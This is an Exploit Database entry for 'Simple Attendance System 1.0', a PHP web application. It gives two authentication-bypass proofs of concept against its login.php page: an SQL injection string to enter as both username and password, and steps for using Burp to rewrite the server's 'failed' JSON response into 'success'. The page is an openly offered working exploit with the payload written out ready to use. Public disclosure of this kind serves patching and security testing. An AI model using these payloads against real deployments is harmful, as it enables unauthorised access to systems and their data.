

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Use necessary cookies only

Allow all cookies

Show details

Authenticated bypass

EDB-ID:

50301

CVE:

N/A

EDB Verified: ✖

Author:

[ABDULLAH KHAWAJA](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2021-09-17

Vulnerable App:



```
# Exploit Title: Simple Attendance System 1.0 - Authenticated bypass
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: September 17, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-
system-php-and-sqlite-free-source-code.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/attendance_0.z
```

```
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0
```

```
# Exploit Description:
Simple Attendance System, is prone to multiple vulnerabilities.
Easy authentication bypass vulnerability on the application
allowing the attacker to login
```

----- PoC: Authentication Bypass -----

Administration Panel: <http://localhost/attendance/login.php>

Username: admin' or ''=' -- -+

Password: admin' or ''=' -- -+

----- PoC-2: Authentication Bypass -----

Steps:

1. Enter wrong credentials <http://localhost/attendance/login.php>
2. Capture the request in burp and send it to repeater.
3. Forward the request.
4. In response tab, replace :
{"status":"failed","msg":"Invalid username or password."}
with
{"status":"success","msg":"Login successfully."}

Tags:

Advisory/Source: [Link](#)



Downloads ▾

Certifications ▾

Training ▾

Pro Services ▾



EXPLOIT DATABASE BY OFFENSIVE SECURITY

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

COOKIES

© [OffSec Services Limited](#) 2021. All rights reserved.

